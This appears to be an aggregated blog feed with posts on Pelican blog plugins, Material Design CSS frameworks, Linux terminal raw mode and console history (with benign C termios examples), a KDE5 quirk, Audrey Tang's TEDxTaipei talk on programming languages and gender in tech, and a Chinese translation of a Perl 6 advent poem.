示範行內公式 \(A_\text{c} = (\pi/4) d^2\).

整行公式

\begin{equation*} \alpha{}_t(i) = P(O_1, O_2, \ldots O_t, q_t = S_i \lambda{}) \end{equation*}

這個插件提供在 reStructuredText 中用 LaTeX 語法插入數學公式的能力,定義了 :math: 行內角色(role) 和 .. math:: 指示符(directive) 。 實際工作的渲染庫當然是大名鼎鼎的 MathJax ,這個插件 會用 MathJax 的 CDN 載入,所以也沒有額外的依賴文件。(只是不知道是否會被國內牆掉, 如果公式顯示不正常請 務必 告訴我。)

youtube 和 youku

顧名思義,這兩個插件分別實現嵌入 youtube 和 youku 視頻。其中 youtube 是原本就有的插件, youku 是我照貓畫虎抄的。 之前寫了一篇 KDE5 Plasma 之跳動賣萌的活動按鈕 用到了這兩個插件。

neighbors 和 series

這兩個插件比較類似也都比較簡單, neighbors 提供一篇文章的前後文章信息, 在主題模板裏可以用來製作 上一篇下一篇 按鈕。 series 提供將多篇文章歸類爲一個 系列 的支持,當然也需要在 主題模板中定義顯示「文章系列」的列表。這兩個插件的效果都能在本文末尾,評論區上方的部分看到。

bootstrapify 和 twitter_bootstrap_rst_directives

這兩個插件讓文章的 正文 套用上 Bootstrap 的樣式。

bootstrapify 這個插件實現得比較簡單,用 beautifulsoup4 在靜態網頁的結果裏面過濾元素, 對 table , img , embed , iframe , video , object 這幾個標籤套用上 響應式嵌入對象的類 讓他們更美觀。

twitter_bootstrap_rst_directives 這個插件則是增加了幾個 reStructuredText 的 行內角色(role) 和 指示符(directive) 。 它實現的 行內角色(role) 包括: 用 :kbd: 實現如 Ctrl+C 這樣的鍵盤快捷鍵, 用 :code: 嵌入代碼片段,用 :glyph: 嵌入字符圖標。 它實現的 指示符(directive) 包括: labels 行內標籤alerts 提示段落panels 嵌入面板 , 以及還有一個 media 混排圖標

對其中的 panel 我改寫了它在文章正文中的樣式,在 lg 或者 xl 的屏幕寬度下,分別用 \(\frac{1}{2}\)\(\frac{1}{3}\) 大小的嵌入面板, 簡單實現和正文文字的圖文混排。

除此以外我還在 twitter_bootstrap_rst_directives 這個插件裏套用它的框架實現了兩個額外 的 行內角色(role) , 分別是 :ruby: :通過 html5 的 <ruby> 標籤實現文字上方的注音(firefox下 不支持 ,會使用文字後的括號顯示), 以及 :html: :在 行內插入 裸(raw) html 標籤(這屬於 Markdown 的基本功能,在 reStructuredText 這邊由於要考慮多種輸出格式於是就比較麻煩了)。這兩個 行內角色(role) 的 實現代碼在這裏

2015年2月3日更新

今天又在 twitter_bootstrap_rst_directives 裏增加了兩個 行內角色(role) 。 一個是 :twi: 用來寫 twitter 用戶的鏈接,比如 @farseerfc ,另一個是 :irc: 用來指向 freenode 的 channel ,比如 #yssyd3

2015年2月14日更新

今天增加了 .. friend:: 用來寫好友鏈接,以及 fref 用來引用好友, 比如 LQYMGT 這樣。

extract_toc 和 summary

最後是這兩個有點「名不副實」的插件。

reStructuredText 原本就有自動生成 目錄(toc) 的功能,用起來也非常簡單,只需要在想要插入目錄的地方寫一行 .. contents:: ,剩下的都由 docutils 自動生成了。 只是當然這樣生成的目錄肯定會插入在文章的正文裏,而 extract_toc 這個插件的作用就是簡單地 把這個目錄抽取出來,讓模板能在別的地方放置這個目錄。比如我這裏就把目錄放在了一個 panel 裏。

然後 Pelican 也原本就有從文章中抽取 總結(summary) 顯示在文章列表的功能。 Pelican 原始的實現似乎是按照文字數抽取前半段,不總是適合作爲總結。 於是這個 summary 插件的作用其實是允許在正文中以特殊的註釋的方式標註哪些部分應該被抽出來作爲總結。 summary 這個插件原本的實現只允許抽取一段文字,我又對它的實現做了少許擴充,允許標註多段 文字合併起來作爲總結。

2015年1月29日更新

今天在 extract_toc 插件的幫助下,在側邊欄裏放了一個 Bootstrap affix 的目錄, 它保持在頁面的右側位置不變,方便導航到文章的各個地方。具體實現方法除了 Bootstrap 3 的 Affix 文檔 ,還參考了 這篇更詳細的說明

結語

這個博客的配置都可以在 github 上找到 ,包括用來 自動生成整個博客的 Makefile ,由於比較長,這裏就不再貼了。

折騰這個主題前後歷時兩個月,期間學會了不少東西,也算是不錯的收穫吧。 現在既然基礎打好了,接下來就要開始多寫博客了。(希望拖延症不會再犯……)

最近發現除了我的博客之外還有一個網站 Kansas Linux Fest fork 了我的主題,不過他們用了我修改的早期版本,還是原本的 Bootstrap 3 和 bootstrap-material-design 樣式。自己草草修改的東西被別人用到果然還是有點小激動呢, 以及接下來不能馬馬虎虎地寫 commit 消息了。

[1]賽65:17「看哪!我造新天新地」啟21:5「我將一切都更新了。」

by farseerfc at January 25, 2015 01:45 PM

January 15, 2015

farseerfc

總結一下 Material Design 的 CSS 框架

現在這裏的界面風格要從 Google 在 I/O 2014 大會 上公佈Android L 也即 後來的 Lollipop 說起。 他們在談論界面設計的時候公佈了他們的 設計準則: Material Design (中文非官方翻譯 )。 當然這只是一些準則,總結並描述了之前在 Web 設計和移動端 App 界面設計方面的一些規範, 並且用材料的類比來形象化的比喻這個準則。關於 Material Design 的更多中文資料可 參考這裏

看到 Material Design 之後就覺得這個設計風格非常符合直覺,於是想在這邊也用上 Material Design。 但是我在 Web 前端科技樹上沒點多少技能點,所以想找找別人實現好的模板 或者框架直接套用上。在網絡上搜索數日找到了這幾個:

Polymer Paper Elements

Polymer
Polymer logo

Google 官方提供的參考實現應該是 Polymer 中的 Paper Elements

由於是 官方參考實現 ,這個框架的確非常忠實地實現了 Material Design 的設計,但是同時 由於它基於 HTML5 Web Components 構建,相關技術我還 不太懂,瀏覽器兼容性和其餘 HTML 技術的兼容性也還不太完善的樣子……

並且對於我這個 Web 開發的半吊子來說,Polymer 只是提供了一組設計組建,沒有完善的 響應式 (responsive) 佈局支持,也沒有 Navbar 這種常見的框架組建,真的要用起來的話還 需要手工實現不少東西。於是口水了半天之後只好放棄……以後可能真的會換用這個,只是目前需要學 的東西太多了。

Angular Material Design

AngularJS
AngularJS logo

AngularJS 是 Google 對 Web Components 技術的另一個 嘗試。而這額 Angular Material Design 項目 就是基於 AngularJS 構建的Material Design 庫啦,同樣是 Google 出品所以應該算得上半個 官方實現吧。 相比於 Polymer, AngularJS 算是實用了很多,提供了基於 CSS Flexbox 的佈局。有人對這兩者的評價是, 如果說 Polymer 代表了 未來趨勢 ,那麼 AngularJS 就是 眼下可用 的 Web Components 實現了。

只不過同樣是因爲它是 Components 的框架,對 WebApp 的支持很豐富,大量採用 Ajax 等 JavaScript 技術, 對於我這個靜態博客來說仍然稍顯高級了……非常擔心還不支持 HTML5 的瀏覽器 比如 w3m 甚至 cURL 對它的支持程度。 於是最終也沒有使用它。

Materialize

Materialize
Materialize logo

Materialize 這是一批(自稱?)熟悉 Android 上 Material Design 的設計師們新近出爐的框架,試圖提供一個接近 Bootstrap 的方案。 最早是在 Reddit 上看到對它的討論的,立刻覺得這個想法不錯。

體驗一下官網的設計就可以看出,他們的動畫效果非常接近 Polymer 的感覺,響應式設計的佈局 也還不錯。 只是同樣體驗一下他們現在的官網就可以看出,他們目前的 bug 還比較多 ,甚至一些 bug 在他們自己的主頁上也有顯現。 雖然不想給這個新出爐的項目潑涼水,不過看來要達到他們聲稱的接近 Bootstrap 的易用度還任重而道遠……

bootstrap-material-design + bootstrap3

這是我最終選擇的方案。這個方案將三個項目組合在了一起,分別是 bootstrap-material-design , pelican-bootstrap3Bootstrap 3 。 Bootstrap 3 想必不用再介紹了,很多網站都在使用這套框架,定製性很高。 bootstrap-material-design 是在 Bootstrap 3 的基礎上套用 Material Design 風格 製作的一套 CSS 庫,當然也不是很完善並且在不斷改進中,一些細節其實並不是很符合我的要求。 最後 pelican-bootstrap3 是用 Bootstrap 3 做的 pelican 模板。 這三個項目或多或少都有點不合我的口味,於是嘛就把 pelican-bootstrap3 fork了一套放在 這裏 ,其中還包括我自己改 過的 Bootstrap3 樣式Material 樣式 ,需要的可以自取。

至於細節上我定製了哪些地方,敬請聽下回分解……

by farseerfc at January 15, 2015 06:27 PM

December 12, 2014

farseerfc

從非緩衝輸入流到 Linux 控制檯的歷史

這篇也是源自於水源C板上板友的一個問題,涉及Linux上的控制檯的實現方式和歷史原因。因爲內容比較長,所以在這裏再排版一下發出來。 原帖在這裏

可以設置不帶緩衝的標準輸入流嗎?

WaterElement(UnChanged) 於 2014年12月09日23:29:51 星期二 問到:

請問對於標準輸入流可以設置不帶緩衝嗎?比如以下程序

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    FILE *fp = fdopen(STDIN_FILENO, "r");
    setvbuf(fp, NULL, _IONBF, 0);
    char buffer[20];
    buffer[0] = 0;
    fgets(buffer, 20, fp);
    printf("buffer is:%s", buffer);
    return 0;
}

似乎還是需要在命令行輸入後按回車纔會讓 fgets 返回,不帶緩衝究竟體現在哪裏?

這和緩存無關,是控制檯的實現方式的問題。

再講細節一點,這裏有很多個程序和設備。以下按 linux 的情況講:

  1. 終端模擬器窗口(比如xterm)收到鍵盤事件
  2. 終端模擬器(xterm)把鍵盤事件發給虛擬終端 pty1
  3. pty1 檢查目前的輸入狀態,把鍵盤事件轉換成 stdin 的輸入,發給你的程序
  4. 你的程序的 c 庫從 stdin 讀入一個輸入,處理

標準庫說的輸入緩存是在 4 的這一步進行的。而行輸入是在 3 的這一步被緩存起來的。

終端pty有多種狀態,一般控制檯程序所在的狀態叫「回顯行緩存」狀態,這個狀態的意思是:

  1. 所有普通字符的按鍵,會回顯到屏幕上,同時記錄在行緩存區裏。
  2. 處理退格( BackSpace ),刪除( Delete )按鍵爲刪掉字符,左右按鍵移動光標。
  3. 收到回車的時候把整個一行的內容發給stdin。

參考: http://en.wikipedia.org/wiki/Cooked_mode

同時在Linux/Unix下可以發特殊控制符號給pty讓它進入「raw」狀態,這種狀態下按鍵 不會被回顯,顯示什麼內容都靠你程序自己控制。 如果你想得到每一個按鍵事件需要用raw狀態,這需要自己控制回顯自己處理緩衝, 簡單點的方法是用 readline 這樣的庫(基本就是「回顯行緩存」的高級擴展,支持了 Home/End,支持歷史)或者 ncurses 這樣的庫(在raw狀態下實現了一個簡單的窗口/ 事件處理框架)。

參考: http://en.wikipedia.org/wiki/POSIX_terminal_interface#History

除此之外, Ctrl-C 轉換到 SIGINT , Ctrl-D 轉換到 EOF 這種也是在 3 這一步做的。

以及,有些終端模擬器提供的 Ctrl-Shift-C 表示複製這種是在 2 這一步做的。

以上是 Linux/unix 的方式。 Windows的情況大體類似,只是細節上有很多地方不一樣:

  1. 窗口事件的接收者是創建 cmd 窗口的 Win32 子系統。
  2. Win32子系統接收到事件之後,傳遞給位於 命令行子系統 的 cmd 程序
  3. cmd 程序再傳遞給你的程序。

Windows上同樣有類似行緩存模式和raw模式的區別,只不過實現細節不太一樣。

strace查看了下

WaterElement(UnChanged) 於 2014年12月10日21:53:54 星期三 回復:

感謝FC的詳盡解答。

用strace查看了下,設置標準輸入沒有緩存的話讀每個字符都會調用一次 read 系統調用, 比如輸入abc:

read(0, abc
"a", 1)                         = 1
read(0, "b", 1)                         = 1
read(0, "c", 1)                         = 1
read(0, "\n", 1)                        = 1

如果有緩存的話就只調用一次了 read 系統調用了:

read(0, abc
"abc\n", 1024)                  = 4

如果想感受一下 raw mode

沒錯,這個是你的進程內C庫做的緩存,tty屬於字符設備所以是一個一個字符塞給你的 程序的。

如果想感受一下 raw mode 可以試試下面這段程序(沒有檢測錯誤返回值)

#include <stdio.h>
#include <unistd.h>
#include <termios.h>

static int ttyfd = STDIN_FILENO;
static struct termios orig_termios;

/* reset tty - useful also for restoring the terminal when this process
   wishes to temporarily relinquish the tty
*/
int tty_reset(void){
    /* flush and reset */
    if (tcsetattr(ttyfd,TCSAFLUSH,&orig_termios) < 0) return -1;
    return 0;
}


/* put terminal in raw mode - see termio(7I) for modes */
void tty_raw(void)
{
    struct termios raw;

    raw = orig_termios;  /* copy original and then modify below */

    /* input modes - clear indicated ones giving: no break, no CR to NL,
       no parity check, no strip char, no start/stop output (sic) control */
    raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);

    /* output modes - clear giving: no post processing such as NL to CR+NL */
    raw.c_oflag &= ~(OPOST);

    /* control modes - set 8 bit chars */
    raw.c_cflag |= (CS8);

    /* local modes - clear giving: echoing off, canonical off (no erase with
       backspace, ^U,...),  no extended functions, no signal chars (^Z,^C) */
    raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);

    /* control chars - set return condition: min number of bytes and timer */
    raw.c_cc[VMIN] = 5; raw.c_cc[VTIME] = 8; /* after 5 bytes or .8 seconds
                                                after first byte seen      */
    raw.c_cc[VMIN] = 0; raw.c_cc[VTIME] = 0; /* immediate - anything       */
    raw.c_cc[VMIN] = 2; raw.c_cc[VTIME] = 0; /* after two bytes, no timer  */
    raw.c_cc[VMIN] = 0; raw.c_cc[VTIME] = 8; /* after a byte or .8 seconds */

    /* put terminal in raw mode after flushing */
    tcsetattr(ttyfd,TCSAFLUSH,&raw);
}


int main(int argc, char *argv[]) {
    atexit(tty_reset);
    tty_raw();
    FILE *fp = fdopen(ttyfd, "r");
    setvbuf(fp, NULL, _IONBF, 0);
    char buffer[20];
    buffer[0] = 0;
    fgets(buffer, 20, fp);
    printf("buffer is:%s", buffer);
    return 0;
}

終端上的字符編程

vander(大青蛙) 於 2014年12月12日08:52:20 星期五 問到:

學習了!

進一步想請教一下fc大神。如果我在Linux上做終端上的字符編程,是否除了用ncurses庫 之外,也可以不用該庫而直接與終端打交道,就是你所說的直接在raw模式? 另外,終端類型vt100和linux的差別在哪裏?爲什麼Kevin Boone的KBox配置手冊裏面說必 須把終端類型設成linux,而且要加上terminfo文件,才能讓終端上的vim正常工作?term info文件又是幹什麼的?

Linux控制檯的歷史

嗯理論上可以不用 ncurses 庫直接在 raw 模式操縱終端。

這裏稍微聊一下terminfo/termcap的歷史,詳細的歷史和吐槽參考 Unix hater's Handbook 第6章 Terminal Insanity。

首先一個真正意義上的終端就是一個輸入設備(通常是鍵盤)加上一個輸出設備(打印 機或者顯示器)。很顯然不同的終端的能力不同,比如如果輸出設備是打印機的話,顯 示出來的字符就不能刪掉了(但是能覆蓋),而且輸出了一行之後就不能回到那一行了 。再比如顯示器終端有的支持粗體和下劃線,有的支持顏色,而有的什麼都不支持。 早期Unix工作在電傳打字機(TeleTYpe)終端上,後來Unix被port到越來越多的機器上 ,然後越來越多類型的終端會被連到Unix上,很可能同一臺Unix主機連了多個不同類型 的終端。由於是不同廠商提供的不同的終端,能力各有不同,自然控制他們工作的方式 也是不一樣的。所有終端都支持回顯行編輯模式,所以一般的面向行的程序還比較好寫 ,但是那時候要撰寫支持所有終端的「全屏」程序就非常痛苦,這種情況就像現在瀏覽 器沒有統一標準下寫HTML要測試各種瀏覽器兼容性一樣。 通常的做法是

  1. 使用最小功能子集
  2. 假設終端是某個特殊設備,不管別的設備。

水源的代碼源頭 Firebird2000 就是那樣的一個程序,只支持固定大小的vt102終端。

這時有一個劃時代意義的程序出現了,就是 vi,試圖要做到「全屏可視化編輯」。這在 現在看起來很簡單,但是在當時基本是天方夜譚。 vi 的做法是提出一層抽象,記錄它所需要的所有終端操作,然後有一個終端類型數據庫 ,把那些操作映射到終端類型的具體指令上。當然並不是所有操作在所有終端類型上都 支持,所以會有一堆 fallback,比如要「強調」某段文字,在彩色終端上可能 fallback 到紅色,在黑白終端上可能 fallback 到粗體。

vi 一出現大家都覺得好頂讚,然後想要寫更多類似 vi 這樣的全屏程序。然後 vi 的作 者就把終端抽象的這部分數據庫放出來形成一個單獨的項目,叫 termcap (Terminal Capibility),對應的描述終端的數據庫就是 termcap 格式。然後 termcap 只是一個 數據庫(所以無狀態)還不夠方便易用,所以後來又有人用 termcap 實現了 curses 。

再後來大家用 curses/termcap 的時候漸漸發現這個數據庫有一點不足:它是爲 vi 設 計的,所以只實現了 vi 需要的那部分終端能力。然後對它改進的努力就形成了新的 terminfo 數據庫和 pcurses 和後來的 ncurses 。 然後 VIM 出現了自然也用 terminfo 實現這部分終端操作。

然後麼就是 X 出現了, xterm 出現了,大家都用顯示器了,然後 xterm 爲了兼容各種 老程序加入了各種老終端的模擬模式。不過因爲最普及的終端是 vt100 所以 xterm 默 認是工作在兼容 vt100 的模式下。然後接下來各種新程序(偷懶不用*curses的那些) 都以 xterm/vt100 的方式寫。

嗯到此爲止是 Unix 世界的黑歷史。

知道這段歷史的話就可以明白爲什麼需要 TERM 變量配合 terminfo 數據庫纔能用一些 Unix 下的全屏程序了。類比一下的話這就是現代瀏覽器的 user-agent。

然後話題回到 Linux 。 大家知道 Linux 早期代碼不是一個 OS, 而是 Linus 大神想 在他的嶄新蹭亮的 386-PC 上遠程登錄他學校的 Unix 主機,接收郵件和逛水源(咳咳 )。於是 Linux 最早的那部分代碼並不是一個通用 OS 而只是一個 bootloader 加一個 終端模擬器。所以現在 Linux 內核裏還留有他當年實現的終端模擬器的部分代碼,而這 個終端模擬器的終端類型就是 linux 啦。然後他當時是爲了逛水源嘛所以 linux 終端 基本上是 vt102 的一個接近完整子集。

說到這裏脈絡大概應該清晰了, xterm終端類型基本模擬 vt100,linux終端類型基本模 擬 vt102。這兩個的區別其實很細微,都是同一個廠商的兩代產品嘛。有差別的地方差 不多就是 Home / End / PageUp / PageDown / Delete 這些不在 ASCII 控制字符表裏的按鍵的映射關係不同。

嗯這也就解釋了爲什麼在linux環境的圖形界面的終端裏 telnet 上水源的話,上面這些 按鍵會錯亂…… 如果設置終端類型是 linux/vt102 的話就不會亂了。在 linux 的 TTY 裏 telnet 也不會亂的樣子。

寫到這裏纔發現貌似有點長…… 總之可以參考 Unix hater's Handbook 裏的相關歷史評論和吐槽,那一段非常有意思。

by farseerfc at December 12, 2014 08:06 AM

December 08, 2014

farseerfc

KDE5 Plasma 之跳動賣萌的活動按鈕

今天嘗試 KDE5 Plasma 的活動的時候無意間發現這個現象。 只要把活動按鈕拖出桌面,它就會在桌面邊緣來回跳動。 視頻如下:

當然你可以把它再拖回來,所以這個問題還無傷大雅,只是賣萌。

比比之前 Gnome3 那個跳動的界面真是好太多了:

順便,今天還看到一個賣萌的 KDE5 Plasma 靜音圖標的翻譯:

by farseerfc at December 08, 2014 04:54 PM

April 28, 2014

pugs

Programming Languages and RailsGirls.tw

(My talk at TEDxTaipei at 2014-04-27, before a panel with Linda Liukas, Matz and Charles Nutter. Slides in Chinese. 逐字稿中文版.)


Thanks, Linda, for sharing your fascinating story.

As my talk is about "Programming Languages and RailsGirls.tw", I'd like to start with a few stories of programming languages.

As we know, Rails is built on the Ruby language. Matz created Ruby by blending his five favorite languages together: Ada, Eiffel, Lisp, Perl, and Smalltalk.

I cannot cover all of them in a 20-minute talk, so let us start with Ada. Ada comes first in this list not only because its name starts with an "A", but also because it was named after Ada Lovelace, the world's first computer programmer.

In 1842, Ada wrote this program for the Analytical Engine, the first general-purpose computer ever designed but not constructed until a century later. Ada was also the first to realize that computers are not limited to work with numbers; she envisioned that people would compose music and create art on a computer.

Ada's mother was Annabella, a gifted scholar of mathematics. Ada's father, the great Romantic poet Byron, nicknamed his wife the "princess of parallelograms" because of her strict morality with a mathematical rigor.

And indeed, the art of computer programming is a blend of mathematics and poetry. Like a mathematical formula, good programs are rigorous and correct. Programmers, however, work like poets — we are creative with our languages, we convey a sense of purpose in a concise way, and we inspire each other to carry on our work.

As Professor Dijkstra put it: "Besides a mathematical inclination, an exceptionally good mastery of one's native tongue is the most vital asset of a competent programmer."

Both mathematicians and poets require a coherent vision to guide their work. The same principle applies to professional programming: Without a coherent vision and design integrity, sloppy programs quickly become unmaintainable, such that any attempts to fix a bug will introduce more bugs.

However, professional programming is not the only kind of programming, or even the most popular one. For nearly twenty years, the most well-known language on the web has been JavaScript, a "scripting language" that's easy to start with, but that also makes it very easy to write sloppy programs with a lot of bugs.

The distinction between scripting and programming languages dates back to the 1970s, with the introduction of the C language, a portable language that runs on almost any computer. Computer scientists in Bell Labs wrote hundreds of programs in C that worked together as a complex operating system, and they called it Unix.

Users of the Unix system were not expected to program in C. Instead they wrote "shell scripts" that were simple to write — mostly just a list of commands — but very difficult to maintain once they got complex.

Throughout the 1980s, the worldview was that there were programs written in complex and powerful languages like Objective-C and C++; and there were scripts written in simple but limited languages like sed and AWK.

The picture here is a linear spectrum with nothing in-between. If a script became too complex to maintain, people would just re-write it in a "real" programming language like C++.

In 1987, Larry Wall said, "We can open up this spectrum and turn it into a space with two dimensions." He saw C's strength as "Manipulexity", the ability to manipulate complexity, while shell scripts excel at "Whipuptitude", the ability to whip things up quickly.

Perl was hatched in this newfound space, as a language that could do a little bit of both, and one that evolves by redefining its own vocabulary. Over time, Perl evolved to be better at Whipuptitude than any shell scripts, and as good as C++ and Java at Manipulexity for all but the most complex programs.

With Perl, one could start with a sloppy script and, through "refactoring" techniques, gradually make it more rigorous and correct over time, without having to switch to a different language.

In the 1990s, a new generation of Perl-influenced languages appeared, such as  Python, PHP, and Ruby. Each of them improved upon Perl toward their own domains; I consider Ruby the most flexible of the three.

In 2005, the Rails project combined Ruby on the server side and JavaScript on the client side into a full-stack web framework. For many people working with C++ or Java, Rails showed them for the first time that "scripting" languages can build web programs that are more complex, and of larger scale, than contemporary "programming" languages could.

Rails succeeded in part because of its use of meta-programming, which provided way to program the Ruby language itself into domain-specific languages such as ActiveRecord.

Since that time, popular frameworks such as jQuery and AngularJS have taken the same approach to JavaScript, allowing programmers to express our vision and design integrity with a re-programmed language that's much more rigorous and safe.

In the 2010s, Rails adopted CoffeeScript, a Ruby-like language that compiles into "the good parts" of JavaScript, to complement its use of the jQuery framework. This is an extension of the meta-programming idea — changing a language by keeping the best parts of it.

People in the Perl community took CoffeeScript to create the Coco language, and people in the Haskell community took Coco to create LiveScript. Nowadays, most of my programming is done in LiveScript, which allows me to express the same vision in a way that looks like Ruby, or looks like Perl, or looks like Haskell, whichever way that's most appropriate for the poem, er, program.

So those are my stories about Rails and programming languages. For the next half of my talk, I'd like to talk about the "Girls" part in Rails Girls.

In the first half of the 20th century, people working for women's rights have achieved a lot of legal victories, bringing equality in rights of voting, of education, of individual economy, of marriage and divorce to many people in the world.

However, this equality in law does not readily translate to equality in practice. As Simone de Beauvoir observed in 1949, many societies make women feel inferior not by law, but through the act of "Othering" in languages and in actions. Men are presumed as the default subject, and women are constantly reminded that they are the collective "Other" by the way they are treated, as a group different from the default.

In the 1970s, social workers and thinkers applied Simone's thoughts and observed various socially-constructed expectations known as gender roles. For example, a particular society may confine women into one of two primary roles: either as a Girl — an adorable object of desire, harmless and of inferior status; or as a Mother — a caretaker, provider of emotional support, and a reproductive agent.

What's missing in this picture is, of course, the various destinies that each of us wish upon ourselves. We encounter social pressure whenever we happen to contradict one of the expected roles.

We can fix this problem by adopting the vision: That Biology should not determine Destiny. In practical terms, it is helpful to re-introduce the concepts of "scripts" and "programs", this time from the field of social studies.

Larry Wall said this in his 2007 talk on scripting languages: "Suppose you went back to Ada Lovelace and asked her the difference between a script and a program. She'd probably look at you funny, then say something like: 'Well, a script is what you give the actors, but a program is what you give the audience.' That Ada was one sharp lady..."

Here we see social "scripts" are actions expected of people to act according to their roles. In contrast, a "program" informs participants what to expect from the social "norm", but does not dictate people's behaviors the way scripts do.

As a concrete example, when I began my IT career as the webmaster of a small publishing house "The Informationist" in 1994, I worked both online via a BBS and in the office. Many of our staffs were openly LGBTQ and LGBTQ-supporting; it was a safe space for me to explore my gender expressions.

The press turned into a software company named "Inforian" in 1995, when I became its CTO, and started participating in the global Free Software community. While Taiwan's software sector at that time was generally gender-balanced, it shocked me to find that male-dominant scripts were prevalent in online Free Software communities.

After a while, I learned that many women on forums and chatrooms used male-sounding nicknames, not because it was their preferred gender expression, but as a protection against harassment. This was obviously a problem.

In 1998, the Open Source movement started and I helped run a few startups in the Silicon Valley, China, and Taiwan. As I started attending conferences and giving talks, I couldn't help but notice the lack of variety in gender expressions and in ethnic distribution.

For example, I heard the question "are you here with your boyfriend?" asked many times in these conferences, but not once "are you here with your girlfriend?" or "are you here with your partner?" — it was clearly a social script to make the recipient feel identified as an "other" — an outsider instead of a participant in the space.

After I returned to Taiwan to work on local open culture communities, I started consciously using the feminine pronoun in all my Chinese online writings, in an attempt to turn around the language's "othering" aspect.

When we started organizing our own conferences in 2003, I also took efforts to invite only the most socially compassionate speakers from abroad, who helped establish a more relaxed atmosphere where people can enjoy a safe space.

However, as Open Source gained commercial popularity, sexualized practices of IT industries' trade shows started to affect our conferences as well. One of these practices is promotional models, hired to drive interests to a vendor's booth; another is offensive imagery in conference contents, including from prominent speakers in both Free Software and Open Source communities.

In 2009, Skud, a long-time fellow hacker in the Perl community, started to speak widely at conferences on this subject. She created "Geek Feminism", a wiki-and-blog platform to list the issues and work together to improve them.

After a year's work, participants in the wiki created a "Code of Conduct" template, a social "program" that sets the expected norms. Valerie Aurora and Mary Gardiner, two Geek Feminism contributors from the Linux community, co-founded the Ada Initiative in 2011, so they can work full-time to support women in open technology and culture.

With help from many contributors, the Ada Initiative worked with over 100 conference organizers to adopt the code of conduct program. I'm very glad to see the upcoming "Rails Girls Summer of Code" event among the list of adopters.

There are three main elements of such a program:

  • Specific descriptions of common but unacceptable behavior (sexist jokes, etc.)
  • Reporting instructions with contact information
  • Information about how such policies are enforced

Together, they ensure a space where people can be aware of their own social scripts and their effects on each other and refactor them into a more sustainable community with openness and variety as a coherent vision.

There are many more activities from the Ada Initiative, and we have a list of resources and communities on the Geek Feminism wiki, which I'd like to invite you to visit.

To me, the most enlightening bit is perhaps not in the code itself, but in its programming — the fine-tuning of a conduct that fits best with the local culture.

When we create a safe space for a community's participants, to observe and decide our own social scripts, we can collectively program a social norm that is both rigorous and creative — just like the best formulas, poems, and programs.

In conclusion, I'd like to share two poetic fragments of mine with you:

    I would like to know you
        not by your types,
            classes or roles —
    — but by your values.

...and:

    Saying "Life is what we make it to be",
        is like saying "Language is what we make it to be" —
            True, but not at once;
                — just one bit at a time.

Thank you.

by audreyt at April 28, 2014 04:26 AM

December 29, 2013

pugs

Perl 6:冒險的降臨

(這是 Day 24 – Advent Ventures 的中譯,作者是 Larry Wall。)


人類歷險百萬年到了今夕,
平安夜裡且讓時間暫停,
我們充滿疑問的冒險
再次等待答案的降臨。

我們到了嗎?

粘菌奮鬥十億年到了矽晶,
幸好(大致上)已忘卻不幸的往昔
以及無情天擇留下的血痕,
我們再次銘記未來的回憶。

我們到了嗎?

這個月是 Perl 降臨以來的第 26 年,
(包括 13 歲的天才小妹)
我們的小家庭一次用 24 個故事,
慶祝回家路上的種種勝利。

我們到了嗎?爹地,我們到那兒了嗎?

我們跟隨先聖,雖然徘徊但從未迷失:
我們跟隨亞伯拉罕,尋找尚未出現的城市;
我們跟隨神行客,守護將重新分配未來的哈比人
我們跟隨法師和巫士、學者和探險家、聖人和科學家。

我在星空下漫步尋思……我是否已經迷失……

無論智者或哈比人,我們總在黑暗裡啟程,
摸索前行,迎向新鮮空氣、一絲希望,
經過怪獸和深淵,追尋封印的encapsulated星光,
找到那片樂土,讓疲憊者得以休息,讓悲傷者得以療養。

等等,你們什麼意思,我不能去?——甘道夫

我們所有人都必須在沙漠裡徘徊四十年,
埋葬酸民naysayers和鹼民yaysayers的屍骨,
讓他們的孩子有一天能跨過約旦河
進入滿是牛奶、蜂蜜和漂亮手機的新天地!

等等,你們什麼意思,我不能去?——摩西

我們把古老傳說帶進未來,
在雜沓的路途上吟誦,
背包裡裝滿史詩,口袋裡塞滿故事,
把自己的軼事傳聞留在身後。

有些好故事你還沒聽過呢。

所以孩子們,除了古老的傳說,也要收拾新的工具,
輕巧而強大的工具能幫助你們,也能幫助你們來幫助我們。
最輕巧的工具、最強大的工具,就是思想ideas,
一定要多收拾一些。我會在這裡等。

我在這兒。就是說我還沒到那兒。快!

挑選一些好朋友,也讓一些好朋友挑選你。
輪流耐心等待、急速奔走,
懷著希望前進、或絕望地爬行,
再次不屈不撓地站起來。或稀裡糊塗地,這也行。

有時你是故事的主角,但並非隨時都是。

相信你的旅程,為你帶來新的同伴;
相信新的同伴,為你帶來旅程的所需;
準備好面對永遠的邂逅,與暫時的告別。
(沒人能為暫時的邂逅、永遠的告別做好準備。)

我還不確定我是否想抵達那裡。

感謝旅途賜給你今日的夥伴,人生本就是苦樂參半。
欣賞悲欣交集的歌曲、酸甜交織的啤酒。
享受戰鬥的痛楚、擁抱的甘美。
對了,還有,享受因此得到的瘀傷,但別傷得太重。

為你還沒有抵達那裡而慶幸。

歡迎我的朋友們來這裡,我們還沒有到那裡。
歡迎來到這個家族,量子疊加quantum superposition出無數歡樂、悲傷和憧憬。
歡迎和我們一起不斷努力,盜取更多普羅米修斯之火。
這火燒得真快,卻永遠填不滿生命的篝火坑。

我們更暖和了嗎?

他們說:給人一把火……先等一下,有個即時新聞……
這真是胡扯:天火現在自由開源了⁈ 好吧,呃……
部落客bloggers聽到雲端天使彈出視窗、放聲歡唱?
嗯……最好看看新聞小幫手do some fact checking……稍等一下……等等等等tum tiddly tum……

連線品質真是混帳……快收到了……

嘿,你知道嗎⁈ 物理學家琢磨出來了。
整個宇宙剛剛順利編譯完成……
現在,他們正在找人對這玩意兒進行偵錯;
嘿,我知道,我只要用 Perl 6 測試套件就行了。

【……現在你有成千上萬的問題……】

你說什麼?

(大聲)健全測試sanity test #1 合格了嗎?結果如何?

前路漫漫而修遠,
穿越河流與森林,
你走陽關道,我走獨木橋,
我們都在通往應許樂土的路上。

TimToady 得到賜福,開始指揮 Perl 朝聖者的合唱。】

我們向錫安山進發,
美麗動人的錫安山
我們要登上錫安山,美啊——

你不能去那裡。

等等,你們什麼意思,我不能去?

錯誤修正 #1:殺掉所有的蹩腳詩人。

噢……胡扯……

by audreyt at December 29, 2013 03:42 PM

December 28, 2013

pugs

Perl 6 十周年慶: 遠古時期 (五之二)

